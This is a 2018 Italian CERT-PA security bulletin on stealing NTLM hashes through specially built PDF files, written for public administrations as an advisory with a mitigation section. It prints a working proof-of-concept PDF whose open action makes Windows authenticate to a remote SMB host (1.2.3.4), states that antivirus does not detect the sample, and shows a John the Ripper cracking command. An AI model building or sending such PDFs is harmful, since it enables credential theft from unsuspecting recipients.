Agenzia per l'Italia Digitale
Presidenza del Consiglio dei Ministri

COMPUTER EMERGENCY RESPONSE TEAM
PUBBLICA AMMINISTRAZIONE
CERT - PA
Agenzia per l'Italia Digitale
Presidenza del Consiglio dei Ministri

Furto di Hash NTLM tramite PDF

ID: CERT-PA-B004-180507 Data: 07/05/2018

AVVERTENZE

Il documento ha lo scopo di fornire alle Amministrazioni accreditate il quadro di riferimento degli scenari di minaccia rilevati dal CERT-PA, al fine di consentire loro di avviare tempestivamente valutazioni di impatto sui propri sistemi informativi e implementare le misure di contrasto/contenimento dei rischi correlati.

Il CERT-PA, nell'erogare al meglio questo servizio, si avvale di propri fornitori e di fonti pubbliche disponibili in Rete, individuati e selezionati tra i più autorevoli organismi di sicurezza, aziende specializzate e fornitori di tecnologie, al fine di garantire alla comunità di riferimento – con la massima accuratezza, affidabilità e tempestività possibile – le informazioni utili per la prevenzione e la gestione degli incidenti di sicurezza informatica.

Non è consentito far uso di queste informazioni per finalità differenti da quelle sopra indicate.

La presenza di rinvii operati mediante tecniche di ipertesto (link) non costituisce una raccomandazione del CERT-PA verso il soggetto richiamato, ma unicamente uno strumento per facilitare il rapido recupero di informazioni utili.

Indice

Sommario

Questa sezione contiene l'elenco delle minacce oggetto del bollettino. Dalle segnalazioni e dal monitoraggio delle fonti, il CERT-PA ha evidenziato i seguenti eventi:

1. Furto di Hash NTLM tramite PDF ad-hoc

Esistono numerose feature che possono essere sfruttate attraverso file di tipo PDF (Portable Document Format) per compiere operazioni malevole, soprattutto su ambienti Microsoft Windows. Molte delle funzionalità nel tempo sono state riviste e aggiornate dai vari produttori di Reader PDF, ma quando le feature dei Reader PDF sfruttano le funzionalità native del sistema operativo il problema da risolvere diventa ulteriormente complesso.

Nel caso in oggetto, come riporta Checkpoint, gli attaccanti hanno la possibilità di sottrarre le credenziali NTLM della vittima abusando di una specifica che consente di incorporare documenti remoti all'interno dei file PDF.

Struttura del PDF malevolo

La struttura di un file PDF deve seguire una sintassi ben definita. Una delle voci facoltative che consente di specificare le azioni da eseguire all'apertura o alla chiusura di un documento è la entry **/AA**.

Nel caso di apertura, le istruzioni vanno incluse all'interno della voce **/O**, viceversa, in caso di azioni da eseguire in chiusura l'elemento utilizzato è **/C**.

Entrambe le voci /O e /C supportano tre tipologie di istruzioni:

/S definisce il tipo di azione da eseguire e accetta due tipologie di azione:

- **/GoToR** (Remote PDF)
- **/GoToE** (Embedded PDF)

/F specifica il percorso alla seconda risorsa PDF

/D definisce il puntamento all'interno del documento PDF da includere.

PDF PoC

```
3 0 obj
<< /Type /Page
  /Contents 4 0 R

  /AA <<
          /O <<
            /F (\\\\1.2.3.4\\test)
                  /D [ 0 /Fit]
                  /S /GoToE
              >>
          >>

          /Parent 2 0 R
          /Resources <<
                        /Font <<
                                /F1 <<
                                        /Type /Font
                                        /Subtype /Type1
                                        /BaseFont /Helvetica
                                    >>
                                >>
                                >>
>>
Endobj
```

Nell'esempio sopra indicato viene utilizzata l'azione di esecuzione all'apertura **/O**, mentre il tipo di azione specificata tramite **/S** è di tipo **/GoToE** che serve ad includere un PDF posizionato nel percorso **/F** per puntare in fine alla posizione indicata nel parametro **/D**

Carpire Hash NTLM della vittima

Sfruttando il PoC riportato nel paragrafo precedente, un attaccante può generare un file PDF specificando nel parametro **/F** l'indirizzo del server SMB su cui è disponibile la risorsa.

Il risultato che ottiene l'attaccante è il seguente:

Nello specifico risulta rilevabile la richiesta alla risorsa sul server SMB, la macchina della vittima che ne fa richiesta, di cui è visibile il nome (EXPERIEN-D129C6) e l'account utente (Administrator), e l'hash NTLM della macchina della vittima.

Gli Hash NTLM possono essere carpiti tramite strumenti di sniffer, nel caso in esame è stato utilizzato il tool Responder. Una volta acquisite le informazioni, l'attaccante userà strumenti di cracking, tipo *John The Ripper* per ottenere la password in chiaro.

```
$john --incremental hash_ntlm.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlm-naive, NTLMv1 C/R [MD4 DES (ESS MD5) DES 128/128
 AVX-16 naive])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:31  0g/s 8958Kp/s 8958Kc/s 8958KC/s kobrjhn..kob184s
0g 0:00:04:04  0g/s 9703Kp/s 9703Kc/s 9703KC/s csb519...csb51eb
```

La vittima non riceverà alcun avviso di sicurezza da parte del lettore PDF o dal software antivirus.

Sample PDF

Il sorgente del PDF utilizzato nel laboratorio del CERT-PA è riportato di seguito. Il sample è stato sottomesso ad analisi VirusTotal e ad oggi nessun software antivirus lo individua come malevolo.

```
%PDF-1.7
1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj
2 0 obj
<</Type/Pages/Kids[3 0 R]/Count 1>>
endobj
3 0 obj
<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Resources<<>>>>
endobj
xref
0 4
0000000000 65535 f
0000000015 00000 n
0000000060 00000 n
0000000111 00000 n
trailer
<</Size 4/Root 1 0 R>>
startxref
190
3 0 obj
<< /Type /Page
  /Contents 4 0 R
  /AA <<
              /O <<
                /F (\\\\1.2.3.4\\test)
                        /D [ 0 /Fit]
                        /S /GoToE
                        >>

              >>

              /Parent 2 0 R
              /Resources <<
                                  /Font <<
                                              /F1 <<
                                                          /Type /Font
                                                          /Subtype /Type1
                                                          /BaseFont /Helvetica
                                                          >>
                                               >>
                                              >>
>>
endobj
4 0 obj<< /Length 100>>
stream
BT
/TI_0 1 Tf
14 0 0 14 10.000 753.976 Tm
0.0 0.0 0.0 rg
(PDF Document) Tj
ET
endstream
endobj
trailer
<<
            /Root 1 0 R
>>
%%EOF
```

Possibili scenari di attacco

L'emergere di questa metodologia intrinseca nelle funzionalità dei principali lettori PDF per Windows, potrebbe essere sfruttata dai criminali al fine di carpire Hash NTLM per dar seguito ad eventuali azioni successive. Inoltre, l'esistenza di strumenti ad-hoc che facilitano la creazione di documenti PDF malevoli, unita al fatto che i software antivirus più comuni non rilevano tali meccanismi come una minaccia, potrebbe generare nei giorni a seguire ondate di malspam mirate.

In attesa di prese di posizione da parte dei produttori di PDF Reader, si consiglia di contrastare questa tipologia di attacco tramite le procedure di mitigazione descritte nel paragrafo successivo.

Workaround

Microsoft ha rilasciato nell'ottobre del 2017 un security advisory nel quale si fa riferimento ad una funzionalità utile a mitigare gli attacchi a dizionario NTLM ed invita ad utilizzare metodi di autenticazione differenti, ad esempio tramite chiave pubblica.